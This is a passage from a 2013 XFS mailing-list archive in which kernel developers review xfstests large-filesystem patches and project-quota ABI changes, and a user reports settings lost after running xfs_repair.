Fix it to check the combined empty space fits in the filesystem being tested." Otherwise the change looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jul 10 20:10:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 508BF7F3F for ; Wed, 10 Jul 2013 20:10:20 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id BAA44AC003 for ; Wed, 10 Jul 2013 18:10:19 -0700 (PDT) X-ASG-Debug-ID: 1373505014-04cbb0468fdc7990001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id VEiE3YGsuVPEUH4B for ; Wed, 10 Jul 2013 18:10:14 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmAMAAcF3lF5LD3k/2dsb2JhbABagwmDH7lUhSwEAYEOF3SCIwEBBAE6HCMFCwgDDgoJJQ8FJQMhE4gJBbdNFo4WGoEdB4N1A5dZkUuDIyqBLQ Received: from ppp121-44-61-228.lns20.syd6.internode.on.net (HELO dastard) ([121.44.61.228]) by ipmail04.adl6.internode.on.net with ESMTP; 11 Jul 2013 10:40:13 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Ux5Oe-0000Cb-2w; Thu, 11 Jul 2013 11:10:12 +1000 Date: Thu, 11 Jul 2013 11:10:12 +1000 From: Dave Chinner To: Dmitry Monakhov Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, dchinner@redhat.com Subject: Re: [PATCH 2/4] large-fs: improve space diversification for ext4 Message-ID: <20130711011011.GU3438@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/4] large-fs: improve space diversification for ext4 References: <1373367918-7516-1-git-send-email-dmonakhov@openvz.org> <1373367918-7516-2-git-send-email-dmonakhov@openvz.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373367918-7516-2-git-send-email-dmonakhov@openvz.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1373505014 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136405 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jul 09, 2013 at 03:05:16PM +0400, Dmitry Monakhov wrote: > Currently we allocated several giant files one by one until limit, > so empty space is located as one chunk which limit code-path coverage. > This patch consume all space with NUM_SPACE_FILES files (by default 1024) > each has same size, and when truncate each one by required delta. > As result we have $NUM_SPACE_FILES chunks of free blocks distributed > across whole filesystem. > This should help us to avoid regressions similar to e7c9e3e99adf6c49 Sounds like a good idea - distributing free space around the filesystem - but why limit this to ext4? If you turn this into a generic "largefs fill space" function, it will work just as well with XFS as it does for ext4, and with any other filesystem that we want to support --largefs testing on.... I'd also add a CLI option to check to set NUM_SPACE_FILES like we do for LARGE_SCRATCH_DEV and SCRATCH_DEV_EMPTY_SPACE. I'd probably also call it SCRATCH_DEV_EMPTY_SPACE_FILES.... > Signed-off-by: Dmitry Monakhov > --- > common/rc | 40 ++++++++++++++++------------------------ > 1 files changed, 16 insertions(+), 24 deletions(-) > > diff --git a/common/rc b/common/rc > index c44acea..902fc19 100644 > --- a/common/rc > +++ b/common/rc > @@ -440,12 +440,17 @@ _setup_large_ext4_fs() > fs_empty_space=$((50*1024*1024*1024)) > > [ "$LARGE_SCRATCH_DEV" != yes ] && return 0 > + [ -z "$NUM_SPACE_FILES" ] && export NUM_SPACE_FILES=1024 > [ -z "$SCRATCH_DEV_EMPTY_SPACE" ] && SCRATCH_DEV_EMPTY_SPACE=0 > fs_empty_space=$((fs_empty_space + $SCRATCH_DEV_EMPTY_SPACE)) > [ $fs_empty_space -ge $fs_size ] && return 0 > > # calculate the size of the file we need to allocate. > + > space_to_consume=$(($fs_size - $fs_empty_space)) > + file_size_falloc=$(($fs_size/$NUM_SPACE_FILES)) > + file_size_final=$(($space_to_consume/$NUM_SPACE_FILES)) spaces around "/" > + > # mount the filesystem and create 16TB - 4KB files until we consume > # all the necessary space. > _scratch_mount 2>&1 >$tmp_dir/mnt.err > @@ -457,33 +462,20 @@ _setup_large_ext4_fs() > return $status > fi > rm -f $tmp_dir/mnt.err > - > - file_size=$((16*1024*1024*1024*1024 - 4096)) > - nfiles=0 > - while [ $space_to_consume -gt $file_size ]; do > - > + mkdir $SCRATCH_MNT/.use_space > + # Consume all space on filesytem > + for ((nfiles = 0; nfiles < nfiles_total; nfiles++)); do Is that bashism supported on older versions of bash? i.e. like the versions found on RHEL5, SLES10, etc? If not, then a simple: for nfiles in `seq 0 1 $nfiles_total`; do will work just as well.... > xfs_io -F -f \ change that to XFS_IO_PROG and we can drop the -F there. > - -c "truncate $file_size" \ > - -c "falloc -k 0 $file_size" \ > - $SCRATCH_MNT/.use_space.$nfiles 2>&1 > - status=$? > - if [ $status -ne 0 ]; then > - break; > - fi > - > - space_to_consume=$(( $space_to_consume - $file_size )) > - nfiles=$(($nfiles + 1)) > + -c "truncate $file_size_falloc" \ > + -c "falloc -k 0 $file_size_falloc" \ > + $SCRATCH_MNT/.use_space/use_space.$nfiles 2>&1 Is there any need for the truncate + falloc -k? I can't remember why I did that in the first place. Just a "falloc 0 $file_size_falloc" shoul dbe sufficient, right? > done > - > - # consume the remaining space. > - if [ $space_to_consume -gt 0 ]; then > + # Truncate files to smaller size, will free chunks of space > + for ((nfiles = 0; nfiles < nfiles_total; nfiles++)); do > xfs_io -F -f \ Same again for XFS_IO_PROG. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jul 10 20:11:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B55617F3F for ; Wed, 10 Jul 2013 20:11:10 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4C180AC008 for ; Wed, 10 Jul 2013 18:11:10 -0700 (PDT) X-ASG-Debug-ID: 1373505068-04bdf0233edd7a90001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id vNeUe01s8FSVkkbr for ; Wed, 10 Jul 2013 18:11:08 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Al8MAAcF3lF5LD3k/2dsb2JhbABagwmDH7lUhSwEAYEOF3SCIwEBBTocIxAIAw4KCSUPBSUDIROIDrdNFo4wgR0Hg3UDl1mRS4MjKg Received: from ppp121-44-61-228.lns20.syd6.internode.on.net (HELO dastard) ([121.44.61.228]) by ipmail04.adl6.internode.on.net with ESMTP; 11 Jul 2013 10:41:07 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Ux5PV-0000Cj-UB; Thu, 11 Jul 2013 11:11:05 +1000 Date: Thu, 11 Jul 2013 11:11:05 +1000 From: Dave Chinner To: Dmitry Monakhov Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, dchinner@redhat.com Subject: Re: [PATCH 3/4] ext4: ignore valid errors from defragmentation tests Message-ID: <20130711011105.GV3438@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/4] ext4: ignore valid errors from defragmentation tests References: <1373367918-7516-1-git-send-email-dmonakhov@openvz.org> <1373367918-7516-3-git-send-email-dmonakhov@openvz.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373367918-7516-3-git-send-email-dmonakhov@openvz.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1373505068 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136405 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jul 09, 2013 at 03:05:17PM +0400, Dmitry Monakhov wrote: > > Signed-off-by: Dmitry Monakhov > --- > tests/ext4/301 | 3 +++ > tests/ext4/302 | 3 +++ > tests/ext4/303 | 6 ++++++ > tests/ext4/304 | 3 +++ > 4 files changed, 15 insertions(+), 0 deletions(-) > > diff --git a/tests/ext4/301 b/tests/ext4/301 > index 0ca3622..30e4273 100755 > --- a/tests/ext4/301 > +++ b/tests/ext4/301 > @@ -74,6 +74,9 @@ donorname=test1.def > filename=test1 > inplace=0 > rw=write > +continue_on_error=write > +ignore_error=,ENOSPC:EBUSY > +error_dump=0 > numjobs=${NUM_JOBS} > runtime=30*${TIME_FACTOR} > time_based Seems harmless enough to me. Acked-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jul 10 20:18:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BC9DF7F3F for ; Wed, 10 Jul 2013 20:18:40 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9CFD78F8033 for ; Wed, 10 Jul 2013 18:18:37 -0700 (PDT) X-ASG-Debug-ID: 1373505507-04cbb0468edc8190001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id ZP5Z83kBB7aZWJAM for ; Wed, 10 Jul 2013 18:18:28 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Al8MAGAH3lF5LD3k/2dsb2JhbABagwmDH7lVhSwEAYEOF3SCIwEBBTocIxAIAw4KCSUPBSUDIROIDrdPFo4wgR0Hg3UDl1mRS4MjKg Received: from ppp121-44-61-228.lns20.syd6.internode.on.net (HELO dastard) ([121.44.61.228]) by ipmail04.adl6.internode.on.net with ESMTP; 11 Jul 2013 10:47:47 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Ux5Vt-0000Dc-BD; Thu, 11 Jul 2013 11:17:41 +1000 Date: Thu, 11 Jul 2013 11:17:41 +1000 From: Dave Chinner To: Dmitry Monakhov Cc: xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, dchinner@redhat.com Subject: Re: [PATCH 4/4] large-fs: fix ext4 defragmentation tests Message-ID: <20130711011741.GW3438@dastard> X-ASG-Orig-Subj: Re: [PATCH 4/4] large-fs: fix ext4 defragmentation tests References: <1373367918-7516-1-git-send-email-dmonakhov@openvz.org> <1373367918-7516-4-git-send-email-dmonakhov@openvz.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373367918-7516-4-git-send-email-dmonakhov@openvz.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1373505507 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136407 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jul 09, 2013 at 03:05:18PM +0400, Dmitry Monakhov wrote: > Initially work space size calculation was based on size of blkdev which > obviously wrong for large-fs case. This patch calculate work space based > on `df` cmd. when have a "_used" command in common/rc for getting the used space on a device (i.e. _used $SCRATCH_DEV). This loocks like a case for a "_free" equivalent.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jul 10 20:23:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CC5C47F3F for ; Wed, 10 Jul 2013 20:23:56 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id BC87C304066 for ; Wed, 10 Jul 2013 18:23:53 -0700 (PDT) X-ASG-Debug-ID: 1373505831-04cbb04690dc84f0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 7KLvuX8mb6zUYR1Q for ; Wed, 10 Jul 2013 18:23:52 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Al8MAJUI3lF5LD3k/2dsb2JhbABagwmDH7lVhSwEAYEOF3SCIwEBBTocIxAIAw4KCSUPBSUDIROIDrdOFo4dE4EdB4N1A5dZkUuDIyqBLQ Received: from ppp121-44-61-228.lns20.syd6.internode.on.net (HELO dastard) ([121.44.61.228]) by ipmail04.adl6.internode.on.net with ESMTP; 11 Jul 2013 10:53:37 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Ux5bb-0000E6-BR; Thu, 11 Jul 2013 11:23:35 +1000 Date: Thu, 11 Jul 2013 11:23:35 +1000 From: Dave Chinner To: Chandra Seetharaman Cc: Ben Myers , xfs@oss.sgi.com Subject: Re: [PATCH v10 08/11] xfs: Add pquota fields where gquota is used. Message-ID: <20130711012335.GX3438@dastard> X-ASG-Orig-Subj: Re: [PATCH v10 08/11] xfs: Add pquota fields where gquota is used. References: <1372371914-11370-1-git-send-email-sekharan@us.ibm.com> <1372371914-11370-9-git-send-email-sekharan@us.ibm.com> <20130710213907.GZ20932@sgi.com> <1373492798.6020.34.camel@chandra-dt.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373492798.6020.34.camel@chandra-dt.ibm.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1373505831 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136407 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 10, 2013 at 04:46:38PM -0500, Chandra Seetharaman wrote: > > > @@ -1160,13 +1160,13 @@ xfs_ioctl_setattr( > > > */ > > > xfs_qm_dqrele(olddquot); > > > xfs_qm_dqrele(udqp); > > > - xfs_qm_dqrele(gdqp); > > > + xfs_qm_dqrele(pdqp); > > > > > > return code; > > > > > > error_return: > > > xfs_qm_dqrele(udqp); > > > - xfs_qm_dqrele(gdqp); > > > + xfs_qm_dqrele(pdqp); > > > xfs_trans_cancel(tp, 0); > > > if (lock_flags) > > > xfs_iunlock(ip, lock_flags); > > > > Here in xfs_ioctl_setattr, I'm not clear on why we're messing with the user > > dquot at all. Could it be removed entirely? A change in project id doesn't > > effect user quota, right? > > > > Maybe that's an idea for a separate patch. > > I will look into that after these get in :) The user dquot may have group and/or project dquot hints attached to it. Therefore if we are changing project quota and user quotas are enabled, then we may have to remove the hint from the user dquot that points to the old project dquot.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jul 10 20:45:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 02D917F3F for ; Wed, 10 Jul 2013 20:45:06 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A77168F8037 for ; Wed, 10 Jul 2013 18:45:06 -0700 (PDT) X-ASG-Debug-ID: 1373507104-04bdf0233cdd9b80001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id BuHwwVdHhDzpVqju for ; Wed, 10 Jul 2013 18:45:04 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Al8MAEcN3lF5LD3k/2dsb2JhbABagwmDH7lVhSwEAYEOF3SCIwEBBScTHCMQCAMOCgklDwUlAyETiA63TRaOHROBHQeDdQOXWYoihymDIyqBLQ Received: from ppp121-44-61-228.lns20.syd6.internode.on.net (HELO dastard) ([121.44.61.228]) by ipmail04.adl6.internode.on.net with ESMTP; 11 Jul 2013 11:15:04 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Ux5wL-0000GA-RE; Thu, 11 Jul 2013 11:45:01 +1000 Date: Thu, 11 Jul 2013 11:45:01 +1000 From: Dave Chinner To: Chandra Seetharaman Cc: Jan Kara , Ben Myers , swhiteho@redhat.com, xfs@oss.sgi.com Subject: Re: [PATCH v10 10/11] quota: Add proper versioning support to fs_quota_stat Message-ID: <20130711014501.GY3438@dastard> X-ASG-Orig-Subj: Re: [PATCH v10 10/11] quota: Add proper versioning support to fs_quota_stat References: <1372371914-11370-1-git-send-email-sekharan@us.ibm.com> <1372371914-11370-11-git-send-email-sekharan@us.ibm.com> <20130710155538.GY20932@sgi.com> <20130710162602.GB32444@quack.suse.cz> <1373489390.6020.30.camel@chandra-dt.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373489390.6020.30.camel@chandra-dt.ibm.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1373507104 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136407 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 10, 2013 at 03:49:50PM -0500, Chandra Seetharaman wrote: > On Wed, 2013-07-10 at 18:26 +0200, Jan Kara wrote: > > On Wed 10-07-13 10:55:38, Ben Myers wrote: > > > Hey Chandra, > > > > > > > diff --git a/fs/quota/quota.c b/fs/quota/quota.c > > > > index c7314f1..ae6526e 100644 > > > > --- a/fs/quota/quota.c > > > > +++ b/fs/quota/quota.c > > > > @@ -207,12 +207,57 @@ static int quota_setxstate(struct super_block *sb, int cmd, void __user *addr) > > > > static int quota_getxstate(struct super_block *sb, void __user *addr) > > > > { > > > > struct fs_quota_stat fqs; > > > > - int ret; > > > > + struct fs_quota_stat_v1 fqs_v1; > > > > + int ret, size; > > > > + void *fqsp; > > > > > > > > if (!sb->s_qcop->get_xstate) > > > > return -ENOSYS; > > > > + > > > > + memset(&fqs, 0, sizeof(struct fs_quota_stat)); > > > > + if (copy_from_user(&fqs, addr, 1)) /* just get the version */ > > > > + return -EFAULT; > > > > + > > > > + switch (fqs.qs_version) { > > > > + case FS_QSTAT_VERSION_2: > > > > + size = FS_QSTAT_V2_SIZE; > > > > + break; > > > > + default: > > > > + fqs.qs_version = FS_QSTAT_VERSION; > > > > + /* fallthrough */ > > > > + case FS_QSTAT_VERSION: > > > > + size = FS_QSTAT_V1_SIZE; > > > > + break; > > > > + } > > Guys, you cannot really do this. If anyone is using getxstate() with > > uninitialized buffer (which is fine so far), you cannot suddently start to > > rely on the contents of qs_version field. That's ABI (and even API) > > breakage. > > Agree, it is a API breakage. > > Will fix it by adding a new quotactl value as you suggest. Please enforce the version number as being valid so we don't need to add another new interface if we need to change this structure again. :) FWIW, we're now going to need a new xfs_quota changes to go along with this - it will need to use the new interface by default, and fall back to the existing interface if it gets an error saying the command does not exist. We can't actually test the new interface until we have xfs_quota patches that use it. And to play Devil's advocate: it is way too late in the merge cycle to make these sorts of ABI changes to a patch and test/review them adequately. Cheers, Dave. -- Dave Chinner david@fromorbit.com From markus@trippelsdorf.de Wed Jul 10 22:36:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 40B2D7F50 for ; Wed, 10 Jul 2013 22:36:28 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 30180304059 for ; Wed, 10 Jul 2013 20:36:24 -0700 (PDT) X-ASG-Debug-ID: 1373513782-04cb6c2a41b20900001-NocioJ Received: from mail.ud10.udmedia.de (ud10.udmedia.de [194.117.254.50]) by cuda.sgi.com with ESMTP id NFPlGzHFq4MyhQfF (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 10 Jul 2013 20:36:23 -0700 (PDT) X-Barracuda-Envelope-From: markus@trippelsdorf.de X-Barracuda-Apparent-Source-IP: 194.117.254.50 DKIM-Signature: v=1; a=rsa-sha256; c=simple; d=mail.ud10.udmedia.de; h= date:from:to:cc:subject:message-id:references:mime-version :content-type:in-reply-to; s=beta; bh=uHmi5Nj5fd9Mq2HFDipZedE4il BnNUiqyILur/cTpRU=; b=pJ9wg8m7dgg/VIEN5xY9hOayf/o9KMh+puTXlybian RANk6jRJts4Lw+pmGjtdUPo8mlmYVJBrg9q0QG34FMEi9doNIe1sZ7Tut91tLleg sdWA7IMK9ayjM22LDpvjVnv47AztjpmOHSLqna20Z1VENpv7+X95OClJUpaJXl7T 4= Received: (qmail 1256 invoked from network); 11 Jul 2013 05:36:21 +0200 Received: from unknown (HELO x4) (ud10?360p3@91.64.96.185) by mail.ud10.udmedia.de with ESMTPSA (DHE-RSA-AES256-SHA encrypted, authenticated); 11 Jul 2013 05:36:21 +0200 Date: Thu, 11 Jul 2013 05:36:21 +0200 From: Markus Trippelsdorf To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: Corruption of root fs during git bisect of drm system hang Message-ID: <20130711033621.GB362@x4> X-ASG-Orig-Subj: Re: Corruption of root fs during git bisect of drm system hang References: <20130710090634.GA356@x4> <20130711003122.GR3438@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130711003122.GR3438@dastard> X-Barracuda-Connect: ud10.udmedia.de[194.117.254.50] X-Barracuda-Start-Time: 1373513783 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136415 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 2013.07.11 at 10:31 +1000, Dave Chinner wrote: > On Wed, Jul 10, 2013 at 11:06:34AM +0200, Markus Trippelsdorf wrote: > > While bisecting a system hang, caused by the drm gpu subsystem, my root fs got > > corrupted: > > I don't see any corruption being repaired.... > > > > > # xfs_repair /dev/sdc2 > > Phase 1 - find and verify superblock... > > Phase 2 - using internal log > > - zero log... > > - scan filesystem freespace and inode maps... > > agi unlinked bucket 6 is 682886 in ag 3 (inode=101346182) > > agi unlinked bucket 7 is 11335 in ag 3 (inode=100674631) > > agi unlinked bucket 10 is 682890 in ag 3 (inode=101346186) > > agi unlinked bucket 21 is 981 in ag 3 (inode=100664277) > > agi unlinked bucket 23 is 5704343 in ag 3 (inode=106367639) > > agi unlinked bucket 29 is 211421 in ag 3 (inode=100874717) > > agi unlinked bucket 31 is 7681375 in ag 3 (inode=108344671) > > agi unlinked bucket 34 is 3480162 in ag 3 (inode=104143458) > > agi unlinked bucket 40 is 211432 in ag 3 (inode=100874728) > > agi unlinked bucket 41 is 2704937 in ag 3 (inode=103368233) > > agi unlinked bucket 45 is 594669 in ag 3 (inode=101257965) > > agi unlinked bucket 62 is 11902 in ag 3 (inode=100675198) > > That's a filesystem that has unlinked inodes on the unlinked list. > They get cleaned up during log replay. All the other "errors" are > related to cleaning these up.... > > So what is making you think there is a corruption? What's the error > being reported when you are using the filesystem? i.e. what's the > entire process you go through before you get to finding this > problem? I was loosing my KDE settings bit by bit with every reboot during the bisection. First my window-rules disappeared, then my desktop background changed to default, then my taskbar moved from top to the bottom, etc. In the end I had to restore all my .files from backup. And please note that xfs_repair unlinked the inodes _after_ the filesystem has been mounted and unmounted normally. -- Markus From markus@trippelsdorf.de Wed Jul 10 22:47:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 31CB07F37 for ; Wed, 10 Jul 2013 22:47:30 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1DA4D304075 for ; Wed, 10 Jul 2013 20:47:30 -0700 (PDT) X-ASG-Debug-ID: 1373514439-04cb6c2a41b21540001-NocioJ Received: from mail.ud10.udmedia.de (ud10.udmedia.de [194.117.254.50]) by cuda.sgi.com with ESMTP id 7yoUhg3WWPzbSYjN (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 10 Jul 2013 20:47:20 -0700 (PDT) X-Barracuda-Envelope-From: markus@trippelsdorf.de X-Barracuda-Apparent-Source-IP: 194.117.254.50 DKIM-Signature: v=1; a=rsa-sha256; c=simple; d=mail.ud10.udmedia.de; h= date:from:to:cc:subject:message-id:references:mime-version :content-type:in-reply-to; s=beta; bh=cVqqkN+QX3uPFJH7FQaAVPEJmr 97aVtrsXtABO6MSLw=; b=nrrK+z8NZB0odxcBc+CkoB0CW/gKuh7mOtIjTms0VV 